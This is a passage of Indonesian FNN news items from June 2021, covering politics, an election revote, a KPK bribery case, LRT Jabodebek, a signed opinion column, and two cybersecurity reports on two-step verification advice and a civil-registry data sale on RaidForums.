elemen tak pasti yang muncul. Namun Megawati terbukti tegas menjunjung tinggi Pancasila, melindungi kesatuan dan persatuan Indonesia sebaik-baiknya. Di tingkat regional, kata dia, Megawati mendorong anggota Asean dengan Tiongkok menandatangani code of conduct (CoC) untuk Laut China Selatan. Perjanjian ini sangat bermanfaat bagi perdamaian dan kestabilan regional. "Dengan adanya CoC, bekerja sama ASEAN dengan Tiongkok semakin meningkat secara pesat sampai sekarang ini, Doktor Honoris Causa Megawati Soekarnoputri berjasa bersejarah di bidang ini," kata Xu Liping. Berdasarkan pengalaman akademiknya sebagai dosen di bidang hubungan internasional dan peneliti senior di bidang strategi, dia menilai jasa dan kontribusi ilmiah Megawati Soekarnoputri sudah memenuhi syarat dan ketentuan untuk diusulkan menjadi Guru Besar Tidak Tetap di Unhan RI bidang keilmuan Kepemimpinan Strategik. Universitas Pertahanan (Unhan) dijadwalkan akan menggelar sidang senat terbuka dalam rangka pengukuhan gelar Profesor Kehormatan (Guru Besar Tidak Tetap) Universitas Pertahanan RI kepada Presiden Kelima RI, Megawati Soekarnoputri. "Pada hari Jumat (11/6) akan dilakukan sidang senat terbuka Universitas Pertahanan RI dalam rangka pengukuhan gelar Profesor Kehormatan (Guru Besar Tidak Tetap) Ilmu Pertahanan Bidang Kepemimpinan Strategik pada Fakultas Strategi Pertahanan Universitas Pertahanan RI kepada Ibu Megawati Soekarnoputri," jelas Rektor Unhan RI Laksamana Madya TNI Amarulla Octavian dalam siaran persnya, di Jakarta, Selasa (8/6). Octavian mengatakan, sidang senat akademik Unhan telah menerima hasil penilaian Dewan Guru Besar Unhan atas seluruh karya ilmiah Megawati Soekarnoputri sebagai syarat pengukuhan menjadi Profesor Kehormatan Ilmu Pertahanan bidang Kepemimpinan Strategik pada Fakultas Strategi Pertahanan. (sws)

Cagub Optimistis Partisipasi Pemilih 80 Persen di PSU Pilgub Kalsel

Banjarmasin, FNN - Calon wakil gubernur dari pasangan calon 01 Muhidin menyatakan optimistis partisipasi pemilih bisa mencapai 80 persen pada pemungutan suara ulang (PSU) Pemilihan Gubernur Kalimantan Selatan (Pilgub Kalsel) yang berlangsung hari ini. "Alhamdulillah saya dan keluarga hari ini telah memberikan hak suara di PSU. Kita lihat antusiasme masyarakat juga tinggi jadi mudah-mudahan tingkat kehadiran masyarakat tinggi di TPS yaitu 80 persen sesuai target kami," kata Muhidin usai mencoblos di TPS 06 Kelurahan Pemurus Dalam, Kecamatan Banjarmasin Selatan, Kota Banjarmasin. Muhidin jadi satu-satunya di antara empat kandidat dari dua paslon yang bertarung di Pilgub Kalsel ikut memberikan hak suaranya di PSU. Sedangkan tiga lainnya yaitu cagub paslon 01 Sahbirin Noor serta paslon 02 Denny Indrayana-Difriadi berada di luar wilayah PSU. Diakui Muhidin yang pernah menjabat Walikota Banjarmasin itu, rasa optimistis tingginya partisipasi pemilih berkaca dari antusiasme masyarakat mengurus kartu tanda penduduk (KTP) di Dinas Kependudukan dan Pencatatan Sipil (Disdukcapil). Hal itu menurutnya membuktikan masyarakat ingin mencoblos menentukan pilihan calon pemimpin yang berakhir di medan PSU. "Kami berharap situasi tetap terjaga kondusif. Saya juga terus memantau sejak tadi malam jika ada gejolak yang tak diinginkan bisa segera diredam. Kita apresiasi masyarakat dengan perasaan gembira hari ini berbondong-bondong datang ke TPS," tuturnya. Sementara Denny Indrayana saat menggelar konferensi pers di rumahnya di Kota Banjarbaru pada Rabu pagi berharap PSU dapat berjalan lancar dan tetap berprinsip pemilu yang jurdil. "Kami mendukung tingkat partisipasi pemilih namun yang pasti harus sesuai aturan yaitu berdasarkan DPT atau termasuk Daftar Pemilih Pindahan (DPPh) dan Daftar Pemilih Tambahan (DPTb)," jelasnya. PSU Pilgub Kalsel terdiri dari Kota Banjarmasin di 301 TPS di Kecamatan Banjarmasin Selatan. Sedangkan lima kecamatan di Kabupaten Banjar, yakni Kecamatan Sambung Makmur, Kecamatan Aluh-Aluh, Kecamatan Martapura, Kecamatan Mataraman dan Kecamatan Astambul ada 502 TPS. Kemudian 24 TPS di Kecamatan Binuang, Kabupaten Tapin. (sws)

Wakil Ketua BKSAP DPR: Pendidikan Jadi Pintu Masuk Kesetaraan Gender

Jakarta, FNN- Wakil Ketua Badan Kerja Sama Antar-Parlemen (BKSAP) DPR RI Achmad Hafisz Tohir menyampaikan pendidikan dapat menjadi pintu masuk menyelesaikan persoalan kesetaraan gender. Hal itu disampaikan Hafisz seusai mengikuti Roundtable Discussion dengan tema "Generating Commitments To Build Forward", secara hybrid di Tangerang, Banten, Selasa (8/6). "Pendidikan lah pintu masuknya (kesetaraan gender)," ujar Hafisz dalam siaran pers yang diterima, di Jakarta, Rabu. Dia menjelaskan masalah kesetaraan gender, seperti ketertinggalan wanita, umumnya menjadi problem di negara-negara dunia ketiga, seperti di Afrika, kemudian di Asia khususnya Asia Tengah dan Asia Timur Tengah. Di negara-negara tersebut, kata dia, masih banyak persoalan pengklasteran bahwa perempuan tidak perlu untuk ikut bersama laki-laki dalam hal kesetaraan. "Banyak yang kita lakukan dewasa ini, khususnya wanita-wanita di parlemen, mereka menyatukan pendapat bahwa tidak ada persoalan yang harus kita kotak-kotakan antara kesempatan laki-laki dan kesempatan perempuan untuk mencapai tujuan kemajuan," ujar Hafisz. Dia memberi contoh bahwa sebetulnya yang kerap dipermasalahkan di parlemen bukan 20 persen atau 30 persen atau 50 persen keterlibatan perempuan di parlemen, melainkan semangat agar orang yang terpilih mempunyai kemampuan, entah itu perempuan atau laki-laki. "Saya pikir yang penting akses-nya, ketika suatu lembaga politik memberikan akses yang cukup kepada wanita, maka dia akan siap untuk bertarung di situ," tutur-nya. Lebih lanjut politisi Partai Amanat Nasional (PAN) itu menilai bahwa wanita mempunyai beberapa keterbatasan fisik, sehingga dalam segala hal akan sulit juga mengalahkan kaum adam yang fisik-nya memang lebih kuat. Namun, keduanya memiliki kesamaan dari sisi kemampuan berfikir ataupun sisi emosional. Oleh karena itu, dia berpandangan, pendidikan menjadi pintu masuk kesetaraan gender. "Saya sampaikan bahwa dengan pendidikan kita bisa melihat kemampuan-kemampuan ini akan diuji di sana, apakah dia akan kompeten ketika mewakili rakyatnya untuk menjadi Anggota DPR, apakah dia kompeten menjadi pimpinan-pimpinan di lembaga parlemen dunia. Jangan sampai salah arah bahwa seolah-olah emansipasi ini hanya memberikan kesempatan wanita sebesar-besarnya untuk menjadi karier politik, bukan begitu," ujar Hafisz. Dia menyampaikan bahwa sebetulnya akses pendidikan yang diberikan kepada perempuan harus sama dengan laki laki, dan tidak boleh dibedakan, termasuk juga kesempatan untuk menduduki posisi-posisi tertentu. "Maka dari itu, dalam sisi apapun saya kira dominasi laki-laki itu dia akan lebih determinasi dalam sisi fisik-nya, tetapi untuk yang lain-lain kami sepakat semua akses itu harus sama," tutur legislator dapil Sumatera Selatan I itu. (sws)

BNPT Gelar Dialog Kebangsaan dengan Tokoh Papua di Timika

Timika, FNN- Badan Nasional Penanggulangan Terorisme (BNPT) menggelar pertemuan dialog kebangsaan dengan sejumlah tokoh Papua di Timika pada Jumat (11/6). Kepala BNPT Komjen Boy Rafli Amar di Timika, Rabu, mengatakan dialog kebangsaan dengan para tokoh masyarakat, tokoh adat, tokoh agama dan sejumlah bupati di wilayah pegunungan Papua itu dalam upaya untuk mewujudkan kedamaian di Tanah Papua. "Damai itu dambaan dan cita-cita kita semua. Kami berharap ada kontribusi dari semua pihak untuk mewujudkan Papua yang damai," kata Boy Rafli. BNPT menggagas kegiatan dialog kebangsaan dengan para tokoh Papua itu menyikapi masih terus terjadinya aksi-aksi kekerasan, terutama kekerasan bersenjata di berbagai wilayah pedalaman Papua akhir-akhir ini. Aksi kekerasan yang dilakukan oleh kelompok bersenjata itu, demikian Boy Rafli, telah mengganggu rasa aman dan nyaman masyarakat. "Kita ingin ada semacam kesamaan persepsi bagaimana sebaiknya membangun Papua yang damai. Karena membangun Papua yang damai adalah cita cita kita semua. Kita ingin hidup damai dan rukun," ujar Boy Rafli. Mantan Kadiv Humas Polri yang pernah menjabat Kapolda Papua itu berharap pertemuan dialog kebangsaan yang berlangsung di Hotel Rimba Papua Timika itu nanti bisa melahirkan pandangan-pandangan positif untuk kepentingan pembangunan Papua yang jauh lebih baik, lebih bermartabat dan pada akhirnya membawa kesejahteraan bagi masyarakat Papua ke depan. (sws)

Pilpres 2024 antara Pemimpin Plastik dan Pemimpin Otentik

Oleh: Abdurrahman Syebubakar Jakarta, FNN - Di tangan pemimpin plastik, kompas bangsa Indonesia melenceng jauh dari tujuan bernegara, guna memajukan kesejahteraan umum dan mencerdaskan kehidupan bangsa, dalam bingkai keadilan sosial. Amanat reformasi, yang menubuatkan demokratisasi, penegakan supremasi hukum, dan pemberantasan KKN, pun dikorupsi. Tak ayal, keadaan Indonesia saat ini jungkir balik, compang-camping dalam banyak hal. Nyaris tidak ada yang luput dari pembusukan politik pemimpin plastik. Salah satu puncak pembusukannya, “arus deintelektualisasi” yang sangat deras disertai pengkhianatan kaum intelektual, yang telah merobohkan marwah dan integritas ilmiah dunia perguruan tinggi. Obral gelar kehormatan akademik kepada para politikus dan pejabat tinggi negara menjadi tradisi (sebagian) kalangan kampus. Contoh paling mutakhir, tanpa rekam jejak akademik dan karya ilmiah, Megawati menerima gelar profesor kehormatan bidang kepemimpinan strategis dari Universitas Pertahanan. Alih-alih memiliki prestasi luar biasa dalam bidangnya, Megawati justru menorehkan tinta hitam di atas lembaran sejarah politik Indonesia. PDIP, di bawah kepemimpinannya, telah melahirkan banyak koruptor dan “onggokan sampah pemimpin plastik,” yang menjadi sumber segala masalah di Indonesia. Kerusakan demi kerusakan terus dipertontonkan oleh pemimpin plastik, dan menjadi sebuah keniscayaan yang tidak bisa dihindari. Pasalnya, pemimpin serba minus ini dilahirkan dan dibesarkan demokrasi palsu, di bawah cengkraman oligarki dan tekanan mentalitas feodal. Ia tidak saja defisit wawasan kebangsaan dan kenegaraan, tetapi juga terhalang cahaya kebenaran dan keadilan. Untuk itu, dibutuhkan skenario penyelamatan Indonesia dari keterpurukan yang makin dalam, dengan menghadirkan pemimpin otentik. Sebagai anti-tesis pemimpin plastik, tipe pemimpin ini lekat dengan kesejatian karakter intelektual dan moral. Ia mengutamakan isi daripada kemasan yang penuh rekayasa, dan mampu menerjemahkan pikiran-pikiran besarnya ke dalam pilihan kebijakan. Mungkin tidak ada sosok yang secara sempurna memenuhi atribut pemimpin otentik. Namun, paling tidak, rakyat Indonesia berhak dipimpin oleh figur yang tidak terlalu berjarak dari kualitas tipe pemimpin ideal ini. Lantas, apa yang harus dilakukan untuk cipta pra-kondisi munculnya pemimpin otentik dalam kontestasi elektoral 2024 mendatang, sekaligus mencegah kembalinya tipe pemimpin plastik beserta anasir-anasir turunannya? Pada level sistem, dibutuhkan keberanian politik untuk meninggalkan demokrasi palsu, menuju “demokrasi substantif” yang egaliter, meritokratis dan sarat dengan nafas keadilan. Dan hijrah politik ini menuntut kesadaran rakyat, terutama kaum intelektual dan kelas menengah, mengambil peran dan tanggungjawab moral sebagai kelompok penekan (pressure group) dalam proses perubahan radikal. Selanjutnya, dalam menilai calon pemimpin, rakyat harus keluar dari jebakan realisme politik yang bergantung secara mutlak pada tiga variabel popularitas, akseptabilitas dan elektabilitas. Dalam banyak kasus, tiga variabel politik ini dapat dimanipulasi melalui "proyek pencitraan" secara instan. Dengan pendekatan idealisme politik, saya mengajukan dua variabel penting, yaitu "kebutuhan politik” dan “kredibilitas politik", untuk mengeksplorasi aspek kapasitas, visi, dan integritas (calon) pemimpin, yang selama ini luput dari perhatian publik. Variabel kebutuhan politik (political desirability) membantu kita dalam memetakan tantangan utama pembangunan. Dari hasil pemetaan ini, potensi calon pemimpin dapat disandingkan dengan tantangan yang ada, kemudian diantara para calon pemimpin diperbandingkan secara relatif. Harus dipahami, tantangan utama pembangunan yang kita hadapi bukan pada aspek teknis-teknokratis, tetapi lebih soal sistem politik ekstraktif. Sistem politik yang tidak sehat ini bersekongkol dengan pony capitalism (kapitalisme palsu), meminjam istilah Joseph Stiglitz (2015). Hasil persilangannya menjadi lahan subur oligarki - pola persekongkolan jahat antara penguasa dan pemodal, untuk menguasai sumberdaya negara. Seperti yang diungkap Jeffrey Winters, seorang Indonesianis asal AS, para pemodal (oligark) lah yang paling berkuasa di Indonesia karena memiliki uang yang lentur dan serbaguna. Uang yang mereka miliki dapat dimanisfestasikan ke dalam bentuk kekuasaan lainnya, seperti jual beli jabatan dan produk hukum-politik. Para oligarki ini sangat ekstraktif, menguasai dan membiayai partai politik, media massa, perguruan tinggi, think-tank, ormas, lembaga keagamaan, dan lain lain. Monopoli penguasaan sumberdaya ekonomi dan politik berakibat pada meningkatnya ketimpangan dan kemiskinan multidimensi (sosial, ekonomi dan politik). Ketiga aspek ketimpangan dan kemiskinan ini saling mempengaruhi secara negatif, seperti lingkaran setan. Alhasil, dari waktu ke waktu, yang terjadi bukan berkurangnya tingkat kemiskinan dan ketimpangan, tetapi pemiskinan dan peminggiran rakyat kecil. Ratusan juta penduduk miskin dan tidak mampu makin menderita dengan kondisi ketimpangan yang sangat akut, di mana segelintir orang super kaya menguasai kekayaan negara hampir secara mutlak. Rakyat kecil makin tidak berdaya di hadapan para pengambil kebijakan dan pemodal, dan makin tersisih dari proses politik. Untuk mengatasi berbagai tantangan tersebut, yang bermuara pada sistem dan pilihan kebijakan korup, dibutuhkan pemimpin yang tidak saja kompeten pada tataran operasional. Tetapi yang jauh lebih penting, memiliki visi alternatif, dan mampu menerjemahkan visi tersebut ke dalam pilihan kebijakan yang tepat. Selain itu, ia mempunyai tekad kuat untuk membongkar sistem ekstraktif yang tidak berkeadilan, dan melawan anasir-anasir jahat di balik sistem tersebut. Dan mampu memandu rakyat meninggalkan sistem politik ektsraktif menuju demokrasi sosial dan pendekatan pembangunan manusia, yang menempatkan rakyat sebagai agen pembangunan. Namun, pertimbangan kebutuhan politik tidak cukup untuk membangun pra-kondisi lahirnya pemimpin otentik, kecuali dibarengi pelacakan kredibilitas politik (political credibility). Variabel ini membantu kita untuk menelisik "rekam jejak" calon pemimpin dan kelompok di sekitarnya, termasuk parpol pengusung. Pemimpin yang sarat catatan negatif, dikelilingi para pemburu rente, dan didukung parpol sarang koruptor, tidak mungkin memiliki keberanian politik melawan arus. Besar kemungkinan terseret arus, bahkan menjadi pelaku utama praktik kebijakan korup yang menyengsarakan rakyat. Sebaliknya, pemimpin otentik tidak memiliki beban melawan arus, betapapun kuatnya arus tersebut. Sebab, ia tidak terjerat catatan negatif, dan bisa menjaga jarak dari para politikus busuk dan pialang politik. Dengan keseimbangan antara pendekatan idealisme dan realisme politik, diharapkan akan tampil, di atas pentas politik Indonesia, sosok yang paling dekat dengan tipe pemimpin otentik. Penulis, Ketua Dewan Pengurus IDe

Toko Bahan Bangunan di Tangerang Terbakar

Tangerang, FNN- Kebakaran terjadi di sebuah toko bahan bangunan yang berada di Jalan Raya Serang-Balaraja, Desa Cangkudu, Kecamatan Balaraja, Kabupaten Tangerang, Banten Selasa malam menghanguskan beberapa barang-barang yang ada di dalamnya termasuk enam unit mobil. Willy (26), salah satu karyawan toko bahan bangunan, di Tangerang menjelaskan, bahwa awal mula kebakaran tersebut dari korsleting listrik di sebuah gardu yang ada di dalam tokonya. Bahkan, dirinya sempat mendengar beberapa kali ledakan sebelum kobaran api itu membesar dan menghanguskan semua isi di dalamnya. "Sekitar jam 21.30 WIB. Saya mau tidur waktu itu, cuman sebelumnya dengar suara ledakan kaya petasan di arah gardu listrik toko," katanya. Ia mengungkapkan, sekitar satu jam kemudian api terus membesar dan merembet ke arah gudang penyimpanan bahan bangunan yang berisi bahan tiner dan cat. Kemudian, api juga telah menghanguskan 6 unit mobil milik toko tersebut. "Di dalam memang ada gudang penyimpanan cat, dan ada 6 unit mobil termasuk mobil pribadi," tuturnya. Selang beberapa jam kemudian, satu unit mobil pemadam kebakaran dari BPBD Kabupaten Tangerang datang dan langsung berusaha memadamkan api di sekitarnya. Akibat dari peristiwa kebakaran itu, menyebabkan kemacetan di sekitar jalur arah Balaraja-Serang dan begitu juga sebaliknya. (sws)

Pemkab Gunung Kidul Pasang Plakat di Tujuh Pantai di Tanah Kesultanan

Gunung Kidul, FNN - Pemerintah Kabupaten Gunung Kidul, Daerah Istimewa Yogyakarta, memasang plakat di tujuh kawasan pantai yang merupakan tanah kasultanan yang ada di wilayah ini. Bupati Gunung Kidul Sunaryanta di Gunung Kidul, Rabu, mengatakan tujuh pantai yang masuk dalam kawasan tanah kasultanan (SG), yakni Pantai Baron, Ngrawe, Nglolang, Sepanjang, Drini, Krakal dan Siung. "Kawasan pesisir pantai yang merupakan bagian dari tanah kasultanan (SG), saat ini pengelolaan dan kewenangan diserahkan kepada pemerintah kabupaten dengan diberikannya surat kekancingan," kata Sunaryanta. Berdarkan laporan Dinas Pertanahan dan Tata Ruang Gunung Kidul kawasan SG di Pantai Baron, Ngrawe, Nglolang, Sepanjang, Drini, Krakal dan Siung. Lahan SG terluas berada di kawasan Pantai Krakal dengan luasan mencapai 14 hektare lebih. Selanjutnya, kawasan Pantai Ngrawe atau yang lebih di kenal masyarakat dengan Pantai Mesra menjadi kawasan yang sudah menjadi penguasaan Pemkab Gunung Kidul seluas kurang lebih 1,4 hektare sesuai surat kekancingan Nomor 027.B/HI/KPKl2020 serta enam pantai lainya. "Dengan di pasangnya plakat tersebut menjadi satu keabsahan Pemerintah Gunung Kidul dalam mengawal tanah-tanah yang berstatus SG," katanya. Bupati Sunaryanta juga mengatakan pemasangan plakat ini menjadi salah satu upaya dan partisipasi aktif pemerintah kabupaten menjaga dan menyelamatkan baik tanah-tanah SG. Dengan ini masyarakat yang akan lebih diuntungkan. "Selain hal tersebut sebagai bentuk langkah awal proses tata ruang sepandan pantai," katanya. Seperti diketahui, saat ini kabupaten/kota di DIY telah melakukan inventarisasi tanah kesultanan dan tanah puro pakualaman (PAG) dalam beberapa tahun terakhir. (sws)

Pakar: Pengguna Medsos Perlu Verifikasi Dua Langkah Cegah Peretasan

Semarang, FNN- Pakar keamanan siber dari CISSReC Doktor Pratama Persadha mengingatkan pengguna media sosial untuk melakukan verifikasi dua langkah dan mematikan layanan pihak ketiga pada akun medsos guna mencegah peretasan data pribadi. "Perihal keamanan siber ini sama sekali belum ada edukasi ke bawah," kata Pratama Persadha melalui percakapan WhatsApp (WA) kepada ANTARA di Semarang, Rabu pagi, dalam rangka Hari Media Sosial di tengah pandemi COVID-19, tepatnya jatuh pada tanggal 10 Juni 2021. Ketua Lembaga Riset Siber Indonesia CISSReC ini mengemukakan bahwa wabah yang melanda tanah air sejak Maret 2020 telah mendorong masyarakat untuk melek teknologi. Namun, sayangnya masih minus edukasi tentang sisi keamanannya. Dalam memakai WhatsApp dan media sosial, misalnya, disarankan oleh Pratama agar pengguna medsos sebisa mungkin semua akun sudah ditambahkan verifikasi dua langkah agar tidak mudah diretas atau diambil pihak lain. Ia lantas menjelaskan cara mengaktifkan fitur verifikasi dua langkah di WhatsApp, yakni pilih ikon tiga titik di pojok kanan atas aplikasi WA, kemudian pilih menu Settings, masuk ke pengaturan Account, pilih two step verification, bikin personal identification number (PIN) 6 digit angka, lalu masukkan juga alamat surel (email). Pratama yang pernah sebagai pejabat Lembaga Sandi Negara (Lemsaneg) yang kini menjadi BSSN mengutarakan bahwa tingkat keamanan memang bergantung pada dua pihak, pihak penyedia platform dan pihak user. Oleh karena itu, lanjut dia, dari sisi media sosial sebenarnya akan sangat aman bila sudah dilakukan verifikasi dua langkah. Namun, dari sisi platform video conference sempat banyak keluhan, seperti zoom yang mudah diretas. "Seiring dengan berjalannya waktu, beberapa kelemahan sudah berusaha ditutup," kata Pratama yang juga dosen pascasarjana pada Sekolah Tinggi Intelijen Negara (STIN). (sws)

CISSReC Ungkap Penjualan Jutaan Data Dukcapil Empat Daerah

Semarang, FNN - Lembaga Riset Siber Indonesia CISSReC mengungkapkan klaim akun "GadiZ" yang mengaku menjual 8.797.669 data kependudukan dan pencatatan sipil (dukcapil) dari empat daerah ke RaidForums dengan harga mulai 169 dolar sampai 300 dolar Amerika Serikat. Ketua Lembaga Riset Siber Indonesia CISSReC Doktor Pratama Persadha melalui percakapan WhatsApp kepada ANTARA di Semarang, Rabu pagi, lantas menyebutkan penjualan data secara terpisah itu berasal dari Kabupaten Malang, Kota Bogor, Subang, dan Kabupaten Bekasi. Disebutkan pula bahwa data dari Kabupaten Malang terbanyak dengan jumlah 3.165.815, disusul Kabupaten Bekasi 2.339.060, Subang 1.989.263, dan Kota Bogor 1.303.531 data. Adapun harga data di forum peretas itu, kata Pratama, masing-masing daerah berbeda. Misalnya, untuk data dukcapil Kota Bogor dan Subang mematok harga masing-masing sebesar 169 dolar AS, sedangkan data berasal dari Kabupaten Bekasi sebesar 300 dolar AS. Pratama yang pernah sebagai pejabat Lembaga Sandi Negara (Lemsaneg) yang kini menjadi BSSN menegaskan bahwa Pemerintah punya kewajiban melindungi data pribadi masyarakat sebagai data penting, bukan rahasia. "Namun, jika data sudah diperjualbelikan seperti ini, nantinya akan ada berbagai kasus penyalahgunaan data pribadi masyarakat, terutama di empat daerah tersebut," kata pria kelahiran Cepu, Kabupaten Blora, Jawa Tengah ini. Data tersebut, misalnya sebagai bahan untuk membuat rekening atas nama orang lain, meminjam uang di pinjaman online (pinjol) ilegal yang bunganya ratusan kali lipat, atau sebagai bahan penipuan. Apalagi, lanjut Pratama, data ini cukup lengkap jika dilihat dari sampelnya, bahkan ada nomor induk kependudukan (NIK) dan nomor kartu keluarga (KK). Dari sample data yang diberikan, format data yang ada, yaitu NAMA_LGKP, TMPT_LHR, TGL_LHR, JENIS_KLMIN, NIK, NO_KK, NAMA_KEP, NAMA_PROP, NAMA_KAB, NAMA_KEC, NAMA_KEL, ALAMAT, KODE_POS, AGAMA, GOL_DRH, JENIS_PKRJN, STAT_KWN, PDDK_AKH, NAMA_LGKP_AYAH, NAMA_LGKP_IBU, NO_RW, NO_RT. Pratama lantas mencontohkan kasus penjebolan rekening milik wartawan senior Ilham Bintang. Kasus ini berawal dari pemalsuan kartu tanda penduduk (KTP) yang datanya bisa didapatkan dari mana saja, termasuk internet. Pelaku kejahatan dapat menggabungkan informasi yang bocor dengan pelanggaran data lain untuk membuat profil terperinci dari calon korban mereka, seperti data dari kebocoran BPJS, Tokopedia, Bhinneka, dan Bukalapak. Dengan informasi seperti itu, kata dia, pelaku kejahatan dapat melakukan serangan phishing dan social engineering yang jauh lebih meyakinkan bagi para korbannya. Pratama menegaskan kembali bahwa tidak ada sistem yang 100 persen aman dari ancaman peretasan maupun bentuk serangan siber lainnya. Oleh karena itu, perlu dibuat sistem yang terbaik dan dijalankan oleh orang-orang terbaik dan berkompeten agar selalu bisa melakukan pengamanan dengan standar yang tinggi. Ia menyarankan agar seluruh instansi pemerintah wajib bekerja sama dengan Badan Siber dan Sandi Negara (BSSN) untuk melakukan audit digital forensic dan mengetahui lubang-lubang keamanan mana saja yang ada. "Langkah ini sangat perlu untuk menghindari pencurian data pada masa yang akan datang," kata pakar keamanan siber dari Communication and Information System Security Research Center (CISSReC).(sws)

Azis Syamsuddin Penuhi Panggilan KPK

Jakarta, FNN - Wakil Ketua DPR RI dari fraksi Partai Golkar Azis Syamsuddin memenuhi panggilan KPK untuk diperiksa sebagai saksi dalam kasus dugaan suap yang menjerat mantan Penyidik KPK Stepanus Robin Pattuju. "Hari ini saksi Azis Syamsuddin telah hadir di gedung Merah Putih KPK memenuhi panggilan penyidik KPK dan akan segera dilakukan pemeriksaan sebagai saksi dalam perkara untuk tersangka SRP (Stepanus Robin Pattuju) dkk," kata Plt Juru Bicara KPK Ali Fikri di Jakarta, Rabu. Sebelumnya penyidik KPK memanggil Azis pada 7 Mei 2021, namun Azis mengonfirmasi tidak dapat hadir dengan alasan sedang ada kegiatan lain namun ia telah diperiksa Dewan Pengawas (Dewas) KPK terkait pelanggaran etik yang dilakukan Stepanus. "Perkembangan pemeriksaannya akan disampaikan nanti," tambah Ali. Azis diketahui tiba di gedung KPK sekitar pukul 09.00 WIB. Dalam perkara ini KPK telah menetapkan Stepanus bersama Wali Kota Tanjungbalai M Syahrial dan Maskur Husain selaku pengacara sebagai tersangka pemberi suap kepada Stepanus Robin terkait penyidikan penanganan perkara Wali Kota Tanjungbalai Tahun 2020-2021. Dalam konstruksi perkara disebutkan pada Oktober 2020, Syahrial menemui Azis di rumah dinas Azis di Jakarta Selatan dan menyampaikan permasalahan adanya penyelidikan yang sedang dilakukan oleh KPK di Pemkot Tanjungbalai, Sumatera Utara. Azis langsung memperkenalkan Syahrial dengan Stepanus. Dalam pertemuan tersebut, Syahrial menyampaikan permasalahan terkait penyelidikan dugaan korupsi di Pemkot Tanjungbalai yang sedang dilakukan KPK agar tidak naik ke tahap penyidikan dan meminta agar Stepanus dapat membantu agar permasalahan penyelidikan tersebut tidak ditindaklanjuti oleh KPK. Stepanus bersama Maskur sepakat membuat komitmen dengan Syahrial terkait penyelidikan dugaan korupsi di Pemkot Tanjungbalai untuk tidak ditindaklanjuti oleh KPK dengan menyiapkan uang Rp1,5 miliar. Syahrial menyetujui permintaan Stepanus dan Maskur tersebut dengan mentransfer uang secara bertahap sebanyak 59 kali melalui rekening bank milik Riefka Amalia, teman Stepanus. Syahrial juga memberikan uang secara tunai kepada Stepanus hingga total uang yang telah diterima Stepanus Rp1,3 miliar. Dari uang yang telah diterima oleh Stepanus dari Syahrial kemudian diberikan kepada Maskur sebesar Rp325 juta dan Rp200 juta. Sedangkan dalam pertimbangan majelis etik Dewan Pengawas KPK terhadap pelanggaran etik Stepanus pada Senin (31/5) disebutkan bahwa Azis memberikan uang Rp3,15 miliar kepada Stepanus Robin terkait penanganan perkara di Lampung Tengah terkait dengan kader Partai Golkar Aliza Gunado. Dari jumlah tersebut sebagian diserahkan kepada Maskur Husain kurang lebih sejumlah Rp2,55 miliar dan Stepanus Robin mendapat uang lebih sejumlah Rp600 juta. Majelis etik Dewas KPK juga memutuskan Stepanus Robin melakukan pelanggaran etik berat sehingga mendapat sanksi diberhentikan tidak dengan hormat. (sws)

Presiden Jokowi: LRT Jabodebek Beroperasi pada Juni 2022

Jakarta, FNN - Presiden Joko Widodo menyatakan kereta api ringan Light Rail Transit (LRT) Jakarta, Bogor, Depok, Bekasi (Jabodebek) akan mulai beroperasi pada Juni 2022. "Kita harapkan nanti di bulan April 2022 sudah mulai di-trial, mulai uji coba dan akan kita mulai untuk operasional itu bulan Juni 2022," kata Presiden Jokowi di Stasiun LRT TMII Jakarta, Rabu. Presiden Joko Widodo menyampaikan hal tersebut seusai menjajal LRT Jabodebek dengan rute Stasiun Harjamukti, Cibubur-Stasiun Taman Mini Indonesia Indah (TMII). Dalam kesempatan itu, Presiden Jokowi ditemani Menteri Perhubungan Budi Karya Sumadi, Menteri Sekretaris Negara Pratikno, dan pejabat terkait lainnya. "Kenapa LRT ini kita bangun? Kita ingin membangun transportasi massal yang terintegrasi, MRT (mass rapid transit), LRT, kereta bandara, bus Transjakarta semuanya terintegrasi," ungkap Presiden. Integrasi tersebut, menurut Presiden Jokowi, akan memberikan efisiensi dalam transportasi massal. "Terjadi efisiensi dalam orang bepergian dari satu titik ke titik yang lain dan kita harapkan setelah ini selesai kita akan masuk kepada titik-titik yang lain," tambah Presiden. Pembangunan LRT Jabodebek hingga kini sudah mencapai 84,7 persen. Pada tahap 1, LRT Jabodebek memiliki tiga lintasan. Pertama, lintas pelayanan rute Cawang-Cibubur sepanjang 14,8 kilometer yang saat ini pembangunannya mencapai 93,8 persen. Kedua, lintas pelayanan rute Cawang-Dukuh Atas sepanjang 11 kilometer, yang saat ini mencapai 84,3 persen. Ketiga, lintas pelayanan rute Cawang-Bekasi Timur sepanjang 18,4 kilometer, yang saat ini mencapai 90,9 persen. Selain ketiga lintasan tersebut, juga tengah dibangun depo LRT Jabodebek, yang berlokasi di Bekasi Timur, yang pembangunannya telah mencapai 44,1 persen. LRT Jabodebek akan memiliki 18 stasiun pemberhentian. Dalam kondisi normal, satu rangkaian LRT dapat mengangkut 740 penumpang. Dalam kondisi padat mengangkut 1.308 penumpang dengan kecepatan maksimal 80 kilometer per jam. Beberapa keunggulan LRT antara lain, waktu tempuh bisa lebih cepat dibandingkan kendaraan pribadi atau bus. LRT Jabodebek dapat menempuh rute Bekasi Timur hingga Dukuh Atas dalam waktu 45 menit, sedangkan dari Cibubur hingga Dukuh Atas waktu tempuh hanya 39 menit. (sws)

Pemerintah Siapkan Stimulus Percepat Proyek Hulu Migas Laut Dalam

Jakarta, FNN - Pemerintah menyiapkan paket stimulus demi mempercepat penyelesaian proyek pengembangan hulu migas di laut dalam atau Indonesia Deepwater Development (IDD) agar tetap menjadi prioritas dalam upaya menjaga produksi minyak bumi dan gas nasional. "Pemerintah mendukung pengembangan lapangan baru untuk bisa eksploitasi sumber migas yang ada," kata Menteri ESDM Arifin Tasrif dalam keterangannya di Jakarta, Rabu. Berdasarkan laporan SKK Migas, proyeksi permintaan bahan bakar minyak dalam negeri saat ini mencapai 1,4 juta barel per hari dengan kapasitas produksi kilang sekitar 800 ribu barel, sehingga kekurangan pasokan mesti disuplai dari produk impor. Dalam upaya memenuhi kebutuhan minyak di dalam negeri, pemerintah akan memaksimalkan semua potensi hulu migas agar dapat menghasilkan bahan bakar guna memenuhi kebutuhan masyarakat dan industri. "Pemerintah terus mendorong usaha peningkatan cadangan, produksi migas, dan optimalisasi pemanfaatan gas bumi untuk kebutuhan domestik yang saat ini tercatat sebesar 63,9 persen," kata Arifin. Terdapat sembilan paket stimulus yang diberikan pemerintah demi memperbaiki iklim investasi hulu migas yang mengalami dampak pandemi COVID-19. Stimulus tersebut berupa penundaan pencadangan biaya kegiatan pasca operasi, tax holiday untuk 